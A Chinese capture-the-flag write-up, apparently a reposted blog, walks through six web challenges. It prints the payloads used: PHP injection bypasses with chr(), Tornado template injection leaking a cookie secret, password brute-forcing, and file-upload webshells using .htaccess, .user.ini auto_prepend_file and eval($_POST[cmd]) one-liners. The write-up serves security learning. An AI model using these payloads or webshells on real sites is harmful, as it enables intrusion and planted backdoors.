天津网站制作系统网站域名续费后SEO查询未更换
天津网站制作系统,网站域名续费后SEO查询未更换,门户网站的种类,wordpress ie很慢#x1f36c; 博主介绍#x1f468;#x1f393; 博主介绍#xff1a;大家好#xff0c;我是 hacker-routing #xff0c;很高兴认识大家~
✨主攻领域#xff1a;【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
#x1f389;点赞➕评论➕收藏 … 博主介绍 博主介绍大家好我是 hacker-routing 很高兴认识大家~
✨主攻领域【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 养成习惯一键三连
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限欢迎各位大佬指点相互学习进步 目录
1、[RoarCTF 2019]Easy Calc
2、[极客大挑战 2019]BuyFlag
3、[HCTF 2018]admin
4、[护网杯 2018]easy_tornado
handler.settings
5、[GXYCTF2019]BabyUpload
.htaccess木马
6、[SUCTF 2019]CheckIn
.user.ini木马 1、[RoarCTF 2019]Easy Calc
flag{3d1e3a7c-463d-4cc0-b976-3e3fbe8b1894}
打开链接发现是一个输入框我们可以尝试sql注入但是我尝试了很多发现一输入字符串就报错了所以这里应该不是sql注入漏洞。
我们这里右击查看网页源代码 源代码解释
通过 jQuery 选择器 $(#calc) 监听表单提交事件并在提交时执行指定的函数。在提交事件中通过 $.ajax() 发起一个 GET 请求到 calc.php请求参数 num 的数值来自于输入框 #content 的值并对其进行 URL 编码。如果请求成功success 回调函数会将返回的数据插入到具有绿色背景色的提示框中并显示在页面上。如果请求失败error 回调函数会弹出一个警告框提示这啥?算不来!。返回 false 会阻止表单的默认提交行为。 我们根据提示访问calc.php/目录发现是一段php代码审计 通过上面的分析我们构造下面的payload
calc.php? numprint_r(scandir(/)); //中间记得有个空格请求参数 num 中的值 print_r(scandir(/)); 包含了括号和分号等符号这些符号在黑名单中因此会导致代码检测到黑名单字符而触发拒绝执行的逻辑最终输出 “what are you want to do?” 错误信息。
那我们利用ASCII 值进行过滤payload如下
calc.php? numprint_r(scandir(chr(47)));使用了 chr(47) 函数来生成 ASCII 值为 47 的字符ASCII 值为 47 对应于斜杠 /。这样产生的结果和直接输入 / 是等价的。 输入后 可以浏览根目录下的文件而其中的falgg就是我们要读取的文件
? numprint_r(file_get_contents(/flagg));其中/flagg 用chr进行绕过? numprint_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 2、[极客大挑战 2019]BuyFlag
flag{6a2a46b6-6901-4548-828a-cce53bffab0a}
打开链接访问右上角点击然后再点击PAYFLAG按钮 没猜错的话这个就是一个购买flag的功能点位置 右击查看网页源代码发现一个注释的php代码审计 通过上面的php代码审计我们可以利用password进行post传参然后对is_numeric()进行过滤我们可以用 404abc进行过滤
但是我无论怎么输入他都报这个错误并且没有回显别的内容说 只有Cuit的学生才能购买Flag我们猜测用户和cookie是相关联的那么我们对用户的cookie进行查看 一看发现cookie值是0那么我改成1再进行下一步 password404abc他让我支付flag我们利用money参数进行支付
password404abcmoney100000000报错说我们的money估计金额被限制了用数组绕一下
password404abcmoney[]1我们成功买到了flagflag{6a2a46b6-6901-4548-828a-cce53bffab0a} 3、[HCTF 2018]admin
flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}
打开题目我们直接点击登录login页面题目提示admin说明这个题目要拿到admin用户才可以查看到flag。 我们这里利用burp工具抓包尝试下密码破解直接设置123为爆破对象 load选择字典一般可以去网上找弱口令的爆破字典GitHub上面还是蛮多的。 发现爆破成功了密码就是123属于弱口令 成功拿到flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f} 4、[护网杯 2018]easy_tornado
flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}
一打开环境发现存在三个.txt文件 /flag.txt中告诉我们flag在 /fllllllllllllag里面 /welcome.txt文件里面没有什么直接价值的信息 在hints.txt文件中发现md5计算md5(cookie_secretmd5(filename)) 在hints.txt文件中发现md5计算md5(cookie_secretmd5(filename))
并且三个文件中都存在filehash文件名被哈希算法加密32位小写
所以filehash就是md5(cookie_secretmd5(filename))
然后filename就是/fllllllllllllag 现在只缺cookie_secret这个东西只要有了cookie_secret再通过这个md5(cookie_secretmd5(filename))公式进行计算即可获取到flag 查看题目的名字tornado是python的一个模板可以看出这道题是模板注入类的题目 通过修改filehash发现报error的错 模板注入必须通过传输型如{{xxx}}的执行命令
/error?msg{{3*3}}发现总是报ORZ说明这个就是tornado模板注入 handler.settings
在 Tornado 中handler.settings 是一个字典用于存储和访问应用程序的设置信息。这个字典通常在 Tornado 的 RequestHandler 中使用用于配置和传递应用程序的各种参数。
通过handler.settings可以在处理请求的过程中访问和使用应用程序的配置信息例如数据库连接信息、API 密钥、模板路径等。这样做的好处是可以将应用程序的配置信息集中管理便于维护和修改。
开发者可以在创建 Tornado 的 Application 对象时通过传递 settings 参数来设置这些配置信息然后在 RequestHandler 中通过 handler.settings 来获取并使用这些信息。例如
# 创建 Tornado 应用程序时传入配置信息
app tornado.web.Application(handlers[(r/, MainHandler)], settings{debug: True,database: {host: localhost,port: 3306,user: root,password: password}
})# 在 RequestHandler 中访问配置信息
class MainHandler(tornado.web.RequestHandler):def get(self):debug_mode self.settings.get(debug)db_host self.settings.get(database).get(host)self.write(fDebug Mode: {debug_mode}, Database Host: {db_host})通过handler.settings可以方便地在 Tornado 应用程序中管理和使用各种配置参数提高代码的可维护性和灵活性。 爆cookie_secret
error?msg{{handler.settings}} 得到cookie_secret447c8b25-6c6b-4229-8569-d6284192087e
按照公式进行加密 公式md5(cookie_secretmd5(filename))b0b99193d1ce9c809265a3b6c4950133
最终payload
file?filename/fllllllllllllagfilehashb0b99193d1ce9c809265a3b6c4950133 成功拿到flag{4f63ee96-1064-4a5e-8d16-d92314041e1a} 5、[GXYCTF2019]BabyUpload
这是一道文件上传的题目我们先来尝试上传一个php后缀的木马上去看看报错内容后缀名不能有ph 发现后缀是不可以有ph了所以说什么双写绕过phtml大小写绕过都没有用只能改后缀了所以就想到只能用.htaccess文件进行文件上传了。 .htaccess木马文件内容(xiaoma.jpg为到时候后面进行木马上传jpg木马的文件名因为这个.htaccess木马就是把xiaoma.jpg里面的内容当初php代码来执行)
FilesMatch xiaoma.jpgSetHandler application/x-httpd-php
/FilesMatch.htaccess木马
第一步
右击发送两个包到repeater里面我们后面要进行绕过。 第二步
发现我们上传的.htaccess木马被暴露了经过尝试发现是Content-Type: 的原因我们直接把Content-Type: 里面的内容改成jpg的 /image/jpeg并且加上图片头GIF89a 发现文件上传成功了 第三步
我们写正常的一句话木马竟然直接被它给识别出来了应该是里面有?php过滤了那么我们换个木马进行绕过。 xiaoma.jpg木马我们要把第二次发包的那个包里面的.htaccess名字改成xiaoma.jpg
GIF89a
script languagephp
eval($_POST[cmd]);phpinfo();
/script发现上传成功了我们直接连接蚁剑查看flag 第四步
连接蚁剑查看flag 6、[SUCTF 2019]CheckIn
flag{8efd51f4-988b-48b9-b1d2-c5888c2771b0}
题目是个文件上传我们先上传一个xiaoma.jpg上去探测题目过滤内容
GIF89a
?php
eval($_POST[cmd]);
?报的这个错说明对?php进行了过滤我们需要对一句话木马进行修改
GIF89a
script languagephp
eval($_POST[cmd]);phpinfo();
/script我们把木马后缀进行了修改发现题目对ph进行了过滤我开始尝试了利用.htaccess木马文件进行绕过发现.htaccess确实是可以绕过但是发现那个木马文件不能呗执行成php木马执行让getshell。
这里我们利用.user.ini文件进行绕过。 .user.ini木马
php.ini是php的一个全局配置文件对整个web服务起作用而.user.ini和.htaccess一样是目录的配置文件.user.ini就是用户自定义的一个php.ini我们可以利用这个文件来构造后门和隐藏后门。
GIF89a
auto_prepend_filexiaoma.jpg第一步
先上传.user.ini木马然后再重发两个包到Repeater里面然后再改Content-Type: image/jpeg
发现上传成功了。 第二步
把刚才重发的第二个包修改然后上传。 第三步
访问xiaoma.jpg那个上传成功包的目录位置发现木马被成功执行了。 第四步
连接蚁剑然后getshell查看flag
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/86762.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!